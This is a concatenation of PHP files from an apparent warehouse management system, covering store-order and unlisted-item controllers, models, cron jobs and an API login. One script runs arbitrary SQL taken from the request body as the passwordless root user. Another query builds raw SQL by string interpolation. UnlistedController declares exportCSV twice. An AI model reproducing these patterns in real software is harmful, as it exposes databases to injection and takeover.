// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
$this->data['so_status_type'] = Dataset::getTypeWithValue("SO_STATUS_TYPE");
$store_list = StoreOrder::getStoreList();
if(CommonHelper::arrayHasValue($store_list)) {
foreach($store_list as $store){
$this->data['store_list'][$store] = $store;
}
}
else {
$this->data['store_list'][] = NULL;
}
// Search Filters
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_order_date = Input::get('filter_order_date', NULL);
$filter_status = Input::get('filter_status', NULL);
$sort = Input::get('sort', 'so_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_order_date' => $filter_order_date,
'filter_status' => $filter_status,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = StoreOrder::getSOList($arrParams);
// echo '<pre>'; dd($results);
$results_total = StoreOrder::getCount($arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_order_date' => $filter_order_date,
'filter_status' => $filter_status,
'sort' => $sort,
'order' => $order
);
$this->data['store_orders'] = Paginator::make($results, $results_total, 30);
$this->data['store_orders_count'] = $results_total;
$this->data['counter'] = $this->data['store_orders']->getFrom();
$this->data['filter_so_no'] = $filter_so_no;
$this->data['filter_store'] = $filter_store;
$this->data['filter_order_date'] = $filter_order_date;
$this->data['filter_status'] = $filter_status;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_so_no=' . $filter_so_no . '&filter_store=' . $filter_store;
$url .= '&filter_order_date=' . $filter_order_date;
$url .= '&filter_status=' . $filter_status;
$url .= '&page=' . $page;
$order_so_no = ($sort=='so_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_store = ($sort=='store' && $order=='ASC') ? 'DESC' : 'ASC';
$order_order_date = ($sort=='order_date' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_so_no'] = URL::to('store_order' . $url . '&sort=so_no&order=' . $order_so_no, NULL, FALSE);
$this->data['sort_store'] = URL::to('store_order' . $url . '&sort=store&order=' . $order_store, NULL, FALSE);
$this->data['sort_order_date'] = URL::to('store_order' . $url . '&sort=order_date&order=' . $order_order_date, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('store_order.list', $this->data);
}
protected function setURL($forDetail = false, $forBackToList = false) {
// Search Filters
// http://local.ccri.com/picking/list?filter_doc_no=&filter_status=&filter_store=26&sort=doc_no&order=ASC
$url = '?filter_so_no=' . Input::get('filter_so_no', NULL);
$url .= '&filter_store=' . Input::get('filter_store', NULL);
$url .= '&filter_order_date=' . Input::get('filter_order_date', NULL);
$url .= '&filter_status=' . Input::get('filter_status', NULL);
if($forDetail) {
$url .= '&sort_back=' . Input::get('sort', 'so_no');
$url .= '&order_back=' . Input::get('order', 'ASC');
$url .= '&page_back=' . Input::get('page', 1);
} else {
if($forBackToList == true) {
$url .= '&sort=' . Input::get('sort_back', 'so_no');
$url .= '&order=' . Input::get('order_back', 'ASC');
$url .= '&page=' . Input::get('page_back', 1);
} else {
$url .= '&sort=' . Input::get('sort', 'so_no');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
}
}
return $url;
}
}
<file_sep><?php
return array(
"add_user" => 'Added New User',
"modify_user" => 'Modified User',
"change_password" => '<PASSWORD>',
"delete_user" => 'Deleted Users',
"add_user_role" => 'Added New User Role',
"modify_user_role" => 'Modified User Role',
"delete_user_role" => 'Deleted User Roles',
"add_setting" => 'Added New Setting',
"modify_setting" => 'Modifed Settings',
"delete_settings" => "Deleted Settings",
"assign_po" => "Assigned PO",
"close_po" => "Closed PO",
"Update_Quantity" => "Update Quantity",
"ship_date_updated" => "Update Ship Date",
"assign_load" => "Assign Pell number",
"sync_to_mobile" => "Sync to Mobile",
"assign_box" => "Assign Box number to Pell number",
"assign_remove" => "Remove Box number to Pell number",
"Update_shipment" => "Update Shipment Referrence no.",
"post_store_order" => 'Put away to dispatching zone',
"put_to_reserve" => 'Put away to picking location',
"assign_to_piler" => 'Assign to Stock Piler',
"modify_po_status" => "Update Purchase Order Status",
"update_po_detail" => "Update Purchase Order Detail",
"save_not_in_po" => "Added sku/s that are not in purchase order",
"save_not_in_transfer" => "Added sku/s that are not in transfer",
"unlisted" => "Unlisted",
"save_po" => "Save Received PO",
"post_letdown" => 'Put away to picking zone',
"post_letdown_done" => 'Change status of letdown document to done',
"post_letdown_close" => 'Change status of letdown document to closed',
'post_picklist_to_box' => 'Move picklist item to box',
"unlock_letdown_tag" => 'Unlock Letdown Tag',
"unlock_picklist_tag" => 'Unlock Picklist Tag',
"generate_load_code" => 'Generate Pell number',
"picklist_change_to_store" => 'Picklist change type to store',
"picklist_load" => 'Load Picklists',
"box_load" => 'Load Boxes',
"ship_load" => 'Ship load',
"create_box" => "Create Box",
"update_box" => "Update Box",
"delete_box" => "Delete Box",
"export_boxes" => "Export Boxes",
"assign_picklist" => "Assigned Picklist",
"modify_picklist_status" => "Update Picklist Status",
"close_pickilist" => "Close Picklist Document no.",
"assign_subloc_receive" => "Assign Subloc MTS number",
"assign_subloc_pick" => "Assign Subloc Picking MTS no.",
"partial_received" => "Partial Received confirm",
"assign_store_return" => "Assigned Store Return",
"assign_return" => "Assign Return to Warehouse",
"modify_store_return_status" => "Update Store Return Status",
"done_store_return" => "Done Store Return",
"post_inter_transfer" => "Saved inter transfer",
"save_manual_move" => "Added record for manual move",
);
<file_sep><?php
class UnlistedController extends BaseController {
private $data = array();
public $layout = "layouts.main";
public function __construct()
{
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessUnlisted', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessUnlisted', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportUnlisted', unserialize(Session::get('permissions')))) {
return Redirect::to('unlisted');
}
} else {
return Redirect::to('users/logout');
}
$arrParams = array(
'filter_reference_no' => Input::get('filter_reference_no', NULL),
'filter_sku' => Input::get('filter_sku', NULL),
'sort' => Input::get('sort', 'reference_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Unlisted::getList($arrParams);
$output = Lang::get('unlisted.col_reference') . ",";
$output .= Lang::get('unlisted.col_sku') . ",";
$output .= Lang::get('unlisted.col_quantity_received') . "\n";
foreach ($results as $value) {
$exportData = array(
'"' . $value->reference_no . '"',
'"' . $value->sku . '"',
'"' . $value->quantity_received . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="unlisted_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportUnlisted', unserialize(Session::get('permissions')))) {
return Redirect::to('unlisted');
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('unlisted');
$arrParams = array(
'filter_reference_no' => Input::get('filter_reference_no', NULL),
'filter_sku' => Input::get('filter_sku', NULL),
'filter_shipment_reference_no' => Input::get('filter_shipment_reference_no', NULL),
'sort' => Input::get('sort', 'reference_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Unlisted::getList($arrParams);
$this->data['uirr_no'] = self::uirrGeneration();
$this->data['results'] = $results['result'];
$this->data['shipment_reference_no'] = $results['result'][0]['shipment_reference_no'];
$this->data['delivery_date'] = $results['result'][0]['delivery_date'];
$pdf = App::make('dompdf');
$pdf->loadView('unlisted.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('unlisted_' . date('Ymd') . '.pdf');
}
protected function getList()
{
$this->data = Lang::get('unlisted');
// URL
$this->data['url_export'] = URL::to('unlisted/export');
// Search Filters
$filter_sku = Input::get('filter_sku', NULL);
$filter_reference_no = Input::get('filter_reference_no', NULL);
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no', NULL);
$ship_ref_count = Input::get('ship_ref_count',NULL);
$sort = Input::get('sort');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
// Data
$arrParams = array(
'filter_reference_no' => $filter_reference_no,
'filter_sku' => $filter_sku,
'filter_shipment_reference_no'=> $filter_shipment_reference_no,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = PurchaseOrderDetail::getUnlistedDebenhams($arrParams);
// echo '<pre>'; dd($results);
$results_total = PurchaseOrderDetail::getUnlistedDebenhams($arrParams,true);
// Pagination
$this->data['arrFilters'] = array(
'filter_reference_no' => $filter_reference_no,
'filter_sku' => $filter_sku,
'filter_shipment_reference_no'=> $filter_shipment_reference_no,
'sort' => $sort,
'order' => $order
);
$this->data['unlisted'] = Paginator::make($results, $results_total, 30);
$this->data['unlisted_count'] = $results_total;
//$this->data['ship_ref_count'] = $results['ship_ref_count'];
$this->data['counter'] = $this->data['unlisted']->getFrom();
$this->data['filter_reference_no'] = $filter_reference_no;
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_shipment_reference_no'] = $filter_shipment_reference_no;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['ship_ref_count'] = $ship_ref_count;
$url = '?filter_reference_no=' . $filter_reference_no;
$url .= '&filter_sku=' . $filter_sku;
$url .= '&filter_shipment_reference_no=' . $filter_shipment_reference_no;
$url .= '&page=' . $page;
$order_reference = ($sort=='reference_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_sku = ($sort=='sku' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_reference'] = URL::to('purchase_order/unlisted' . $url . '&sort=reference_no&order=' . $order_reference, NULL, FALSE);
$this->data['sort_sku'] = URL::to('purchase_order/unlisted' . $url . '&sort=sku&order=' . $order_sku, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('unlisted.list', $this->data);
}
protected function setURL($forDetail = false, $forBackToList = false) {
// Search Filters
$url = '&filter_reference_no=' . Input::get('filter_reference_no', NULL);
$url .= '&filter_sku=' . Input::get('filter_sku', NULL);
if($forDetail) {
$url .= '&sort_back=' . Input::get('sort', 'reference_no');
$url .= '&order_back=' . Input::get('order', 'ASC');
$url .= '&page_back=' . Input::get('page', 1);
} else {
if($forBackToList == true) {
$url .= '&sort=' . Input::get('sort_back', 'reference_no');
$url .= '&order=' . Input::get('order_back', 'ASC');
$url .= '&page=' . Input::get('page_back', 1);
} else {
$url .= '&sort=' . Input::get('sort', 'reference_no');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
}
}
return $url;
}
protected function uirrGeneration() {
$uirr = Dataset::firstOrNew(array('data_code'=>'UIRR_FORMAT'));
$uirrNo = sprintf("%07s", (int)$uirr->data_value + 1);
$uirr->data_value = $uirrNo;
$uirr->updated_at = date('Y-m-d H:i:s');
$uirr->save();
$uirr_code = Dataset::find($uirr->id);
return $uirrNo;
}
}
<file_sep><?php
class SkuOnDock extends Eloquent {
protected $table = 'sku_on_dock';
public static function insertData($data = array()) {
$params = array(
'sku' => $data['sku'],
'total_qty_delivered' => $data['quantity_delivered'],
'total_qty_remaining' => $data['quantity_delivered']
);
//check if sku exists
$isExists = SkuOnDock::where('sku', '=', $data['sku'])->first();
if( is_null($isExists) ) SkuOnDock::insert($params);
else
{
Log::info(__METHOD__ .' isExists values: '.print_r($isExists->toArray(),true));
$params['old_total_qty_delivered'] = $isExists['total_qty_delivered'];
$params['old_total_qty_remaining'] = $isExists['total_qty_remaining'];
SkuOnDock::updateData($params);
}
DebugHelper::log(__METHOD__, NULL);
}
public static function updateData($data = array()) {
$total_qty_delivered = SkuOnDock::_checkPoDetailQuantity($data);
$offset = $total_qty_delivered - $data['old_total_qty_delivered'];
Log::info(__METHOD__ .' $total_qty_delivered: '.$total_qty_delivered. ' $old_total_qty_delivered: '. $data['old_total_qty_delivered']. ' offset: '. $offset);
if($offset != 0)
{
$total_qty_remaining = $data['old_total_qty_remaining'] + $offset;
}
else {
$total_qty_remaining = $data['old_total_qty_remaining'];
}
$params = array(
'sku' => $data['sku'],
'total_qty_delivered' => $total_qty_delivered,
'total_qty_remaining' => $total_qty_remaining,
'updated_at' => date('Y-m-d H:i:s')
);
Log::info(__METHOD__ .' params: '.print_r($params,true));
$query = SkuOnDock::where('sku', '=', $data['sku'])
->update($params);
return $query;
}
public static function _checkPoDetailQuantity($data = array()) {
$query = PurchaseOrderDetail::where('sku', '=', $data['sku'])
->where('deleted_at', '=', '0000-00-00 00:00:00');
$result = $query->sum('quantity_delivered');
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function _checkQty($data = array()) {
$query = SkuOnDock::where('sku', '=', $data['sku'])->first();
return $query;
}
public static function reduceTotalQtyRemaining($data = array()) {
$total_qty_remaining = SkuOnDock::where('sku', '=', $data['sku'])->first();
$offset_qty_remaining = $total_qty_remaining['total_qty_remaining'] - $data['quantity'];
$arrParams = array('total_qty_remaining' => $offset_qty_remaining, 'updated_at' => date('Y-m-d H:i:s'));
$query = SkuOnDock::where('sku', '=', $data['sku'])
->update($arrParams);
return $query;
}
public static function getAll($data = array()) {
$query = SkuOnDock::where('sku_on_dock.created_at', '<>', '0000-00-00 00:00:00')
->join('product_lists', 'product_lists.upc', '=', 'sku_on_dock.sku')
->where('total_qty_delivered' , '>', 0)
->where('total_qty_remaining' , '>', 0);
// return $query->get(array('sku_on_dock.id','total_qty_delivered',
// 'total_qty_remaining', 'product_lists.upc', 'product_lists.description'));
return $query->get(array('sku_on_dock.*', 'product_lists.description'));
}
public static function getAllCount($data = array()) {
$query = SkuOnDock::where('created_at', '<>', '0000-00-00 00:00:00');
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
return $query->count();
}
}<file_sep>#!/usr/local/bin/php -q
<?php
chdir(dirname(__FILE__));
include_once('ewms_cron_class.php');
$ewms = new cronEWMS();
$ewms->purchaseOrder(); sleep(10);
$ewms->purchaseOrderDetails(); sleep(10);
$ewms->storeReturn(); sleep(10);
$ewms->storeReturnDetail();
// $ewms->inventory(); sleep(10);
$ewms->close();
<file_sep><?php
class StoreOrderDetail extends Eloquent {
protected $table = 'store_order_detail';
/**
* Gets products for the store using store order list
*
* @example StoreOrderDetail::getProductList();
* @param storeCode store code
*
* @return upcs
*/
public static function getProductList($data)
{
/*$upcs = DB::select(DB::raw("select stores.store_name, sku, SUM(ordered_qty) ordered_qty, SUM(delivered_qty) delivered_qty
from wms_store_order so
right join wms_store_order_detail so_detail on so.so_no = so_detail.so_no
inner join wms_stores stores on stores.store_code = so.store_code
where so.store_code = {$data['storeCode']} and so_status = ".Config::get('so_statuses.done')." and load_code = '{$data['loadCode']}'
group by sku, load_code, so.store_code" ));*/
$upcs = DB::select(DB::raw("select stores.store_name, so_detail.sku, SUM(ordered_qty) ordered_qty, SUM(delivered_qty) delivered_qty, description
from wms_store_order so
right join wms_store_order_detail so_detail on so.so_no = so_detail.so_no
inner join wms_product_lists product_lists on product_lists.upc = so_detail.sku
inner join wms_stores stores on stores.store_code = so.store_code
where so.store_code = {$data['storeCode']} and so_status = ".Config::get('so_statuses.done')." and load_code = '{$data['loadCode']}'
group by so_detail.sku, load_code, so.store_code" ));
return $upcs;
}
public static function getStoreOrderDetail($storeCode, $loadCode, $sku)
{
$storeOrderDetails = StoreOrderDetail::select('store_order_detail.id', 'store_order_detail.so_no',DB::raw('convert(store_order_detail.sku, decimal(20,0)) as sku'), 'ordered_qty', 'packed_qty', 'delivered_qty', 'store_order_detail.created_at', 'store_order.store_code', 'store_order.load_code', 'store_order.so_status', 'store_order.assigned_user_id' )
->join('store_order', 'store_order.so_no', '=', 'store_order_detail.so_no')
->where('sku', '=', $sku)
->where('store_order.load_code', '=', $loadCode)
->where('store_order.store_code', '=', $storeCode)
->where('store_order.so_status', '=',Config::get('so_statuses.done') )
->get();
return $storeOrderDetails;
}
public static function receiveSo($sodId, $qtyToReceive)
{
$storeOrderDetail = StoreOrderDetail::where('id', '=', $sodId)
->get()->first();
$newQtyToReceive = intval($storeOrderDetail->delivered_qty) + $qtyToReceive;
if((int)$storeOrderDetail->ordered_qty < $newQtyToReceive) {
throw new Exception("Received quantity is greater than ordered quantity.");
}
StoreOrderDetail::where('id', '=', $sodId)
->update(array(
'delivered_qty' => $newQtyToReceive,
'updated_at' => date('Y-m-d H:i:s')
));
return true;
}
/********************Methods for CMS only**************************/
public static function getSODetails($so_no,$data = array()){
$query = DB::table('store_order_detail')
->join('product_lists', 'store_order_detail.sku', '=', 'product_lists.upc')
->where('store_order_detail.so_no', '=', $so_no);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='short_name') $data['sort'] = 'product_lists.description';
if ($data['sort']=='ordered_quantity') $data['sort'] = 'store_order_detail.ordered_qty';
if ($data['sort']=='delivered_quantity') $data['sort'] = 'store_order_detail.delivered_qty';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function getCountSODetails($so_no) {
$storeOrderDetail = StoreOrderDetail::select('store_order_detail.*', 'product_lists.description')
->where('so_no', '=', $so_no)
->join('product_lists', 'store_order_detail.sku', '=', 'product_lists.upc')
->get();
return $storeOrderDetail->count();
}
public static function getMtsDetails($so_no,$data = array(), $getCount = FALSE){
/*
SELECT store_order.so_no, store_order.store_code, store_order_detail.sku, box_details.picklist_detail_id, box_details.box_code,store_order_detail.ordered_qty, box_details.moved_qty, picklist_details.sequence_no, store_order.load_code
FROM `wms_store_order_detail` store_order_detail
LEFT JOIN wms_store_order store_order ON store_order_detail.so_no = store_order.so_no
INNER JOIN wms_picklist_details picklist_details ON picklist_details.so_no = store_order.so_no AND store_order_detail.sku = picklist_details.sku
RIGHT JOIN wms_box_details box_details ON box_details.picklist_detail_id = picklist_details.id
WHERE store_order.so_no = 10708
ORDER BY sequence_no, store_order_detail.sku ASC
*/
$query = DB::table('store_order_detail')
->join('product_lists', 'store_order_detail.sku', '=', 'product_lists.upc')
->leftJoin('store_order', 'store_order_detail.so_no', '=', 'store_order.so_no')
->join('picklist_details',function($join)
{
$join->on('picklist_details.so_no', '=', 'store_order.so_no')
->on('store_order_detail.sku', '=', 'picklist_details.sku');
})
->join('box_details', 'box_details.picklist_detail_id', '=', 'picklist_details.id', 'RIGHT')
->where('store_order_detail.so_no', '=', $so_no);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='short_name') $data['sort'] = 'product_lists.description';
if ($data['sort']=='ordered_quantity') $data['sort'] = 'store_order_detail.ordered_qty';
if ($data['sort']=='delivered_quantity') $data['sort'] = 'store_order_detail.delivered_qty';
if ($data['sort']=='moved_qty') $data['sort'] = 'picklist_details.moved_qty';
$query->orderBy('box_details.box_code', 'ASC')
->orderBy($data['sort'], $data['order']);
}
if($getCount) return $query->count();
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('picklist_details.sku');
$result = $query->get(
array('store_order.so_no', 'store_order.store_code',
'product_lists.sku', 'product_lists.upc', 'product_lists.description',
'box_details.picklist_detail_id', 'box_details.box_code',
'store_order_detail.ordered_qty', DB::raw('SUM(wms_picklist_details.moved_qty) as moved_qty'), 'store_order_detail.delivered_qty',
'picklist_details.sequence_no', 'store_order.load_code'));
DebugHelper::log(__METHOD__, $result);
return $result;
}
}<file_sep>subl<?php
require_once 'library/jdatelnet.php';
class ReturnWarehouse
{
protected $jda;
protected $db2 = null;
protected $db2_host;
protected $db2_username;
protected $db2_password;
protected $db2_database;
public function __construct($debug_level = 1)
{
$config = jda_credentials();
$this->db2_host = $config['system'];
$this->db2_username = $config['username'];
$this->db2_password =$config['password'];
$this->db2_database = $config['lib_name'];
$this->jda = new jdatelnet($this->db2_host);
$this->jda->debugLvl = $debug_level;
}
public function Login()
{
$jda = $this->jda;
$jda->login( $this->db2_username, $this->db2_password);
$result = $jda->screenCheck('Merchandise Management System');
if($result)
{
return true;
}
else
{
$result = $jda->screenCheck('is allocated to another job.');
if($result)
{
$jda->write(ENTER, true); $jda->show();
return true;
}
else
{
return false;
}
}
}
public function Initiate()
{
$jda = $this->jda;
}
public function DoSublocReceiving($tl_number)
{
$jda = $this->jda;
$jda->write('09', true); $jda->show();
$jda->write('01', true); $jda->show();
$jda->write('17', true); $jda->show();
$jda->write($tl_number, true); $jda->show();
$jda->write(ENTER, true); $jda->show();
$jda->write('1', true); $jda->show();
$jda->write(F10, true); $jda->show();
$jda->write(F10, true); $jda->show();
$jda->write(ENTER, true); $jda->show();
//$jda->write('11', true); $jda->show();
/*
$jda->write('03', true); $jda->show();
$jda->write($tl_number, true); $jda->show();
//$jda->write(TAB, true); $jda->show();
$jda->write('01', true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write($tl_number, true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write('SYS', true); $jda->show();
$jda->write(F6, true); $jda->show();
$jda->write(F7, true); $jda->show();
$jda->write(F7, true); $jda->show();
$jda->write(F10, true); $jda->show();
$jda->write(ENTER, true); $jda->show();
$jda->write(F7, true); $jda->show();*/
}
}<file_sep><?php
class LoadDetails extends Eloquent {
protected $guarded = array();
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'load_details';
/**
* Get load_code per pallet
*
* @param $palletCode pallet_code
* @return array
*/
public static function getStocktransferLoadList ($loadnumber,$data = array(), $getCount = false)
{
$query = DB::table('load_details')
->select('load.*','load_details.box_number','store_return_pick_details.*',DB::raw('GROUP_CONCAT(DISTINCT(wms_store_return_pick_details.move_doc_number) SEPARATOR ", " ) as MASTER_EDU'),'stores.store_code','store_name','stores.address1')
->join('load','load_details.load_code','=','load.load_code','left')
->join('box','load_details.box_number','=','box.box_code','left')
->join('store_return_pick_details','box.tl_number','=','store_return_pick_details.move_doc_number','LEFT')
->join('stores','box.store_code','=','stores.store_code','LEFT')
->where('load_details.load_code', $loadnumber)
->groupBy('box.box_code');
/*$query = DB::table('load_details')
->SELECT('load_details.load_code', 'load_details.move_doc_number', 'store_return_pickinglist.*', 'stores.store_name', 'store_return_pick_details.to_store_code','load.data_value')
->join('load', 'load_details.load_code','=','load.load_code','left')
->JOIN('store_return_pickinglist','load_details.move_doc_number','=','store_return_pickinglist.move_doc_number','left')
->join('store_return_pick_details','store_return_pickinglist.move_doc_number','=','store_return_pick_details.move_doc_number','left')
->join('stores','store_return_pick_details.from_store_code','=','stores.store_code','left')
->where('store_return_pickinglist.type','=','1')
->where('load_details.load_code', $loadnumber);*/
if( CommonHelper::hasValue($data['filter_box_code']) ) $query->where('load_details.box_number', 'LIKE', '%'. $data['filter_box_code']. '%');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('store_return_pick_details.move_doc_number', 'LIKE', '%'. $data['filter_doc_no']. '%');
if( CommonHelper::hasValue($data['filter_store_name']) ) $query->where('store_return_pick_details.to_store_code', 'LIKE', '%'. $data['filter_store_name']. '%');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('store_return_pick_details.from_store_code', 'LIKE', '%'. $data['filter_store']. '%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if($data['sort'] == 'doc_no') $data['sort'] = 'store_return_pick_details.move_doc_number';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
if($getCount) return count($result);
return $result;
}
public static function getLoad($palletCode)
{
$query = LoadDetails::where('pallet_code', '=', $palletCode)
->first()->toArray();
return $query;
}
}
<file_sep><?php
class StoreSODetails extends Eloquent {
protected $table = 'store_so_details';
public static function updateDeliveredQty($data = array(), $so_no)
{
if(! CommonHelper::hasValue($so_no) ) throw new Exception( 'So no is missing from parameter.');
if(! CommonHelper::hasValue($data['sku']) ) throw new Exception( 'Sku is missing from data parameter.');
$query = StoreSODetails::where('sku', '=', $data['sku'])->where('so_no', '=', $so_no);
StoreSODetails::isSKUExist($query);
StoreSODetails::checkIfQtyExceeds($query, $data['delivered_qty']);
$array_params = array(
'delivered_qty' => $data['delivered_qty'],
'updated_at' => date('Y-m-d H:i:s')
);
$result = $query->update($array_params);
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function isSKUExist($query)
{
$isExists = $query->first();
DebugHelper::log(__METHOD__, $isExists);
if( is_null($isExists) ) throw new Exception( 'SKU not found in the database.');
return;
}
public static function checkIfQtyExceeds($query, $qty_delivered)
{
$row = $query->first();
DebugHelper::log(__METHOD__, $row);
if(! empty($row) ) {
$row = $row->toArray();
if( $row["ordered_qty"] < $qty_delivered ) throw new Exception( "SKU: {$row['sku']} cannot accept more than the expected quantity.");
}
return;
}
public static function getSoDetail($data = array())
{
$so_no = $data['so_no'];
$query = StoreSODetails::join('store_so', 'store_so.so_no', '=', 'store_so_details.so_no', 'LEFT')
->where('store_so.so_no', '=', $so_no)
->where('so_status', '=', 0);
$result = $query->get(array("store_so_details.*"));
DebugHelper::log(__METHOD__, $result);
return $result;
}
}
<file_sep><?
$databasehost = "localhost";
$databasename = "deve";
$databaseusername ="root";
$databasepassword = "";
$con = mysql_connect($databasehost,$databaseusername,$databasepassword) or die(mysql_error());
mysql_select_db($databasename) or die(mysql_error());
mysql_query("SET CHARACTER SET utf8");
$query = file_get_contents("php://input");
$sth = mysql_query($query);
if (mysql_errno()) {
header("HTTP/1.1 500 Internal Server Error");
echo $query.'\n';
echo mysql_error();
}
else
{
$rows = array();
while($r = mysql_fetch_assoc($sth)) {
$rows[] = $r;
}
print json_encode($rows);
}
?><file_sep>
<?php
chdir(dirname(__FILE__));
include_once('ewms_cron_class.php');
//include_once('db2_cron_class.php');
$ewms = new cronEWMS();
//$db2 = new cronDB2();
//$products = $db2->products();
//$ewms->products();
//$slots = $db2->slots();
$ewms->slots(); sleep(2);
/*$department = $db2->department();
$ewms->department(); sleep(2);
$vendors = $db2->vendors();
$ewms->vendors(); sleep(2);
$stores = $db2->stores();
$ewms->stores(); sleep(2);
*/
//$db2->close();
$ewms->close();<file_sep><?php
class ApiUsers extends BaseController {
protected static $allowed_roles = array(3,4);
/**
* User login
*
* @param $credential username and password of the user
* @return Response
*/
public function postLogin() {
try {
$credential = array();
$credential['username'] = Request::get('username');
$credential['password'] = Request::get('password');
if(! CommonHelper::hasValue($credential['username']) ) throw new Exception( 'Username cannot be null!');
if(! CommonHelper::hasValue($credential['password']) ) throw new Exception( 'Password cannot be null!');
if(Auth::attempt($credential))
{
$deleted_at = Auth::user()->deleted_at;
if(!in_array(Auth::user()->role_id, self::$allowed_roles)) {
throw new Exception( 'Account not allowed.');
}
//validate if user account has been deleted
if( $deleted_at > '0000-00-00 00:00:00' ) throw new Exception( 'Invalid username or password!');
$brandName = Brands::getBrandNameById(Auth::user()->brand_id);
$user_detail = array(
'user_id' => Auth::user()->id,
'username' => Auth::user()->username,
'firstname' =>Auth::user()->firstname,
'lastname' => Auth::user()->lastname,
'role_id' => Auth::user()->role_id,
'brand' => $brandName[Auth::user()->brand_id]
);
if(Auth::user()->role_id == 4) $user_detail['store_code'] = Auth::user()->store_code;
DebugHelper::log(__METHOD__ .' User detail ',$user_detail);
return Response::json(array(
"error" => false,
"result" => array("user" => $user_detail),
"message" => 'Successfully logged in!'),
200
);
}
else
{
throw new Exception( 'Invalid username or password!');
}
}catch(Exception $e) {
Log::error(__METHOD__ .$e->getMessage());
return Response::json(array(
"error" => true,
"message" => $e->getMessage()),
400
);
}
}
/**
* Barcode login
*
* @param $credential username and password of the user
* @return Response
*/
public function postBarcodeLogin() {
try {
$employee_code = Request::get('employee_barcode');
if(! CommonHelper::hasValue($employee_code) ) throw new Exception( 'Missing employee barcode.');
$result = User::getBarcodeUser($employee_code);
DebugHelper::logVar(__METHOD__ . 'barcode result: ', print_r($result, true));
if($result['role_id'] == 3)
{
$user = $result->toArray();
//validate if user account has been deleted
$brandName = Brands::getBrandNameById($user['brand_id']);
$user_detail = array(
'user_id' => $user['id'],
'username' => $user['username'],
'barcode' => $user['barcode'],
'role_id' => $user['role_id'],
'brand' => $brandName[$user['brand_id']]
);
return Response::json(array(
"error" => false,
"result" => array("user" => $user_detail),
"message" => 'Successfully logged in!'),
200
);
}
else {
throw new Exception( 'Employee barcode not registered.');
}
}catch(Exception $e) {
return Response::json(array(
"error" => true,
"message" => $e->getMessage()),
400
);
}
